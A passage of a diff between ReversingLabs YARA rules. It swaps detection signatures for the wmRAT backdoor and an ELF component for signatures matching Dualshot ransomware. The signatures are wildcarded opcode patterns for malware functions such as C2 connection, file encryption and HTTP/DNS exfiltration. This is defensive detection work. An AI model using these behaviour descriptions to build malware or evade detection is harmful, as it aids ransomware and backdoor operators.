$find_files = { + 7E ?? ?? ?? ?? 0A 16 0B 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 08 06 07 9A 7D ?? ?? ?? ?? 73 + ?? ?? ?? ?? 0D 09 08 7D ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 09 + 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ?? + ?? ?? ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 7B ?? ?? + ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 7B ?? ?? ?? ?? + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 2B ?? 09 7B ?? ?? ?? ?? 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 2C ?? 1B 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 2B ?? 1F ?? 28 ?? ?? ?? ?? 73 + ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 2A 11 ?? 6F ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 26 11 ?? 6F ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 26 07 17 58 0B 07 06 8E 69 3F ?? ?? ?? ?? 2A } - $start_server_p3 = { - 85 C0 75 ?? 31 FF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? - ?? 85 C0 75 ?? BF ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? - ?? ?? 85 C0 75 ?? BF ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? - ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 89 C7 E8 ?? ?? ?? ?? 45 85 FF 0F - 85 ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 41 89 C4 75 ?? 8B - 7C 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? BE ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8D 4B ?? 45 31 C0 BA ?? ?? ?? - ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? E8 - ?? ?? ?? ?? 8B 7C 24 ?? 48 8D B4 24 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 - 89 C3 7E ?? 4C 8D AC 24 ?? ?? ?? ?? 8D 04 2B 3D ?? ?? ?? ?? 7E ?? 8B 3D ?? ?? ?? ?? - BA ?? ?? ?? ?? 48 8D 4C 24 ?? 4C 89 EE 29 EA 41 89 E8 49 81 C5 ?? ?? ?? ?? 81 EB ?? - ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 48 8D 4C 24 ?? 41 89 E8 89 DA 4C 89 - EE E8 ?? ?? ?? ?? EB ?? 31 F6 BA ?? ?? ?? ?? 44 89 E7 E8 ?? ?? ?? ?? 85 C0 0F 85 + $encrypt_files = { + 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 73 ?? ?? ?? ?? 0A 06 03 6F ?? ?? ?? ?? 06 02 6F + ?? ?? ?? ?? 26 06 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F + ?? ?? ?? ?? DC 02 17 28 ?? ?? ?? ?? DE ?? 26 DE ?? 2A } - $send_encrypt = { - E8 ?? ?? ?? ?? 41 8D 7E ?? 49 89 C5 48 63 FF E8 ?? ?? ?? ?? 48 63 54 24 ?? 48 89 C7 - 4C 89 FE 48 8D 0C 13 C6 04 08 ?? 89 D1 48 01 C2 F3 A4 48 89 D7 48 89 EE 48 89 D9 44 - 89 F2 F3 A4 48 89 C6 EB ?? 8D 7B ?? 48 63 FF E8 ?? ?? ?? ?? 89 DA 49 89 C5 48 89 EE - 4C 89 EF E8 ?? ?? ?? ?? 44 8B 0D ?? ?? ?? ?? 4C 89 EE 44 89 E7 48 63 D0 41 B8 ?? ?? - ?? ?? 31 C9 E8 ?? ?? ?? ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + $send_http_request = { + 1C 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 02 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 + 03 A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 04 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? + ?? 25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F + ?? ?? ?? ?? 26 DE ?? 26 DE ?? 2A } - $notify_server = { - 48 81 EC ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 48 89 E0 85 D2 7E ?? BE ?? ?? ?? ?? 89 D1 48 - 89 E7 F3 A4 48 63 D2 BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 4C 8D 04 10 41 B9 ?? ?? ?? ?? 48 - 83 C2 ?? 4C 89 C7 41 B8 ?? ?? ?? ?? F3 A4 8B 3D ?? ?? ?? ?? 48 89 C6 E8 ?? ?? ?? ?? - 8B 05 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 + $send_dns_request = { + 1C 8D ?? ?? ?? ?? 25 16 04 28 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 03 A2 25 19 + 72 ?? ?? ?? ?? A2 25 1A 02 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? + 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 26 DE ?? 26 DE ?? 2A } condition: - uint32( 0 ) == 0x464C457F and ( $switch_server ) and ( $get_hostname ) and ( all of ( $start_server_p* ) ) and ( $send_encrypt ) and ( $notify_server ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $send_http_request ) and ( $send_dns_request ) } -rule REVERSINGLABS_Win64_Backdoor_Wmrat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Dualshot : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects wmRAT backdoor." + description = "Yara rule that detects Dualshot ransomware." author = "ReversingLabs" - id = "9ae75871-b08f-52cc-8588-a444d13ecd89" - date = "2025-03-17" - modified = "2025-03-17" + id = "17828c85-0f1b-581b-842a-24e6f26e0b4d" + date = "2020-11-20" + modified = "2020-11-20" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.wmRAT.yara#L1-L144" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Dualshot.yara#L1-L112" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "23aadaf1571f23b3f02191e3079171c981d4969d0bd266d6db8c95fc091a1606" + logic_hash = "a401369357901f42ad83227b025d3b14b3acd1f50705da82afbe8e4f85501919" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "wmRAT" + tc_detection_type = "Ransomware" + tc_detection_name = "Dualshot" tc_detection_factor = 5 importance = 25 strings: - $connect_to_c2 = { - 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? - A1 ?? ?? ?? ?? 33 C4 50 8D 44 24 ?? 64 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 66 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 66 A3 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 6A - ?? 6A ?? 6A ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 A3 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C8 ?? 8D - 4C 24 ?? A3 ?? ?? ?? ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 32 C0 EB ?? 8D 4C 24 ?? C6 05 - ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B0 ?? 8B 4C 24 ?? 64 89 0D - ?? ?? ?? ?? 59 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 + $internal_encrypt_file = { + 02 28 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 0B 02 28 ?? ?? ?? ?? 0C 02 28 ?? ?? ?? ?? 03 28 + ?? ?? ?? ?? 0D 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 09 16 09 8E 69 6F ?? + ?? ?? ?? 6F ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 28 ?? ?? ?? ?? 02 72 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 07 28 ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? + ?? 02 1B 19 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 00 02 28 ?? ?? ?? ?? DE ?? 26 + DE ?? 2A } - $find_files_and_get_file_data_p1 = { - 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? - ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ?? ?? - ?? 64 A3 ?? ?? ?? ?? 33 DB 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 9C 24 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 73 ?? 8D 84 24 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 54 24 ?? C6 84 24 ?? ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 52 E8 ?? - ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 3B C1 74 - ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 8D 94 24 ?? ?? ?? ?? 52 50 FF 15 ?? ?? - ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? F6 84 24 ?? ?? ?? ?? - ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 89 9C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D5 - 8B 0D ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? 83 C4 ?? 33 C0 89 84 24 ?? ?? ?? ?? 89 84 24 - ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 89 84 24 - ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? C7 84 - 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 8D 84 24 ?? - ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D3 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 - ?? 83 C1 ?? 66 3B D3 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C3 0F 84 ?? ?? ?? ?? 8D 8C - } - $find_files_and_get_file_data_p2 = { - 24 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D3 74 ?? 66 8B 50 - ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D3 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B - C3 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 53 50 89 9C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 89 9C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 54 24 ?? 8B C2 83 C4 ?? 8D 70 ?? EB ?? 8D 49 ?? 66 8B 08 83 C0 ?? 66 3B - CB 75 ?? 2B C6 D1 F8 8D 44 00 ?? 50 52 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8D 94 - 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D5 8D 8C 24 ?? ?? ?? ?? - 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 FF D5 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? - 8D 8C 24 ?? ?? ?? ?? 89 44 24 ?? 51 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 54 24 ?? C6 84 24 - ?? ?? ?? ?? ?? 8B 4C 24 ?? 52 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 8D - 4C 24 ?? 3B C1 74 ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 54 24 ?? 52 8D 8C 24 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 83 EC ?? 8B CC 89 64 24 ?? 68 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 68 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? FF 05 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? 89 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 24 ?? C6 84 24 ?? ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8D 8C 24 - } - $find_files_and_get_file_data_p3 = { - 3B C1 74 ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8B 54 24 ?? 52 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 83 EC ?? 8D 84 24 ?? ?? ?? ?? 8B CC 89 64 24 ?? 50 FF 15 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 33 C0 0F B7 D0 8B C2 C1 E2 ?? 0B C2 B9 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? F3 AB - 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C6 84 24 ?? - ?? ?? ?? ?? 8B 44 24 ?? 83 C0 ?? 8D 48 ?? 83 CA ?? F0 0F C1 11 4A 85 D2 7F ?? 8B 08 - 8B 11 50 8B 42 ?? FF D0 8D 8C 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? C6 84 24 ?? ?? ?? ?? ?? 8B 44 24 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 3B C3 8B - 8C 24 ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B CB 0F 86 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 54 24 ?? 8B C2 83 C4 ?? 8D 70 ?? 8D 64 24 ?? 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B - C6 D1 F8 8D 44 00 ?? 50 52 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? - ?? 83 C4 ?? 8B D0 8B FF 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 8D BC 24 ?? ?? ?? ?? 2B C2 - 83 C7 ?? EB ?? 8D A4 24 ?? ?? ?? ?? 66 8B 4F ?? 83 C7 ?? 66 3B CB 75 ?? DF 6C 24 ?? - 8B C8 C1 E9 ?? 8B F2 DC 05 ?? ?? ?? ?? F3 A5 DD 1D ?? ?? ?? ?? 8B C8 68 + $encrypt_files_p1 = { + 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? + 8E 69 32 ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 11 ?? 13 + ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? + 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? + ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? + ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 11 + ?? 6F ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ?? + ?? ?? 06 72 ?? ?? ?? ?? 12 ?? 6F ?? ?? ?? ?? 26 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 1F ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 + ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 72 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ?? + ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 11 ?? + 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? + 26 DE ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? 6F ?? + ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 11 ?? + A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 2C ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F + ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 11 ?? + 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A } - $find_files_and_get_file_data_p4 = { - 8D 84 24 ?? ?? ?? ?? 83 E1 ?? 8D 94 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? F3 A4 89 - 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? C6 84 24 ?? ?? ?? ?? ?? 51 8B 8C 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8D 94 24 ?? ?? - ?? ?? 3B C2 74 ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C6 84 24 - ?? ?? ?? ?? ?? 8B 44 24 ?? 83 C0 ?? 83 CA ?? 8D 48 ?? F0 0F C1 11 4A 85 D2 7F ?? 8B - 08 8B 11 50 8B 42 ?? FF D0 8B 74 24 ?? 8D 8C 24 ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? - 85 C0 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 88 9C 24 ?? ?? ?? ?? 8B 44 24 ?? 83 C0 - ?? 8D 50 ?? 83 C9 ?? F0 0F C1 0A 49 85 C9 7F ?? 8B 08 8B 11 50 8B 42 ?? FF D0 8D 8C - 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? - ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5D 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 81 - C4 ?? ?? ?? ?? C3 + $encrypt_files_p2 = { + 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 17 9A 28 ?? ?? ?? ?? 13 ?? 02 + 18 9A 28 ?? ?? ?? ?? 2C ?? 02 18 9A 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 02 18 9A 1B 19 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 02 18 + 9A 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 2A 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 12 ?? 6F ?? ?? ?? ?? 26 07 72 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 18 8D ?? ?? + ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 00 + 1B 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 08 20 ?? ?? ?? + ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 + 25 1A 11 ?? 08 11 ?? 8E 69 6F ?? ?? ?? ?? 9A A2 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 11 ?? 6F ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F + ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 + ?? 1F ?? 3F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 25 17 + 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 2A } - $receive_data_and_write_to_file = { - C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 51 E8 ?? - ?? ?? ?? 8B 7C 24 ?? 8B F0 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 75 ?? 68 ?? ?? - ?? ?? 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 83 EC ?? 8B D4 C7 84 24 ?? ?? ?? - ?? ?? ?? ?? ?? 89 64 24 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 52 FF 15 ?? ?? ?? - ?? 83 C4 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 4C 24 ?? - 51 56 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 54 24 ?? 01 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? - ?? 83 C4 ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 83 EC ?? 8B C4 C7 84 24 ?? ?? ?? ?? ?? ?? - ?? ?? 89 64 24 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 50 E9 + $find_files_p1 = { + 73 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 72 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 72 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 2C ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? 16 28 ?? ?? + ?? ?? 02 8E 39 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 16 0D + 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 17 0D 20 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 1F ?? 1B 28 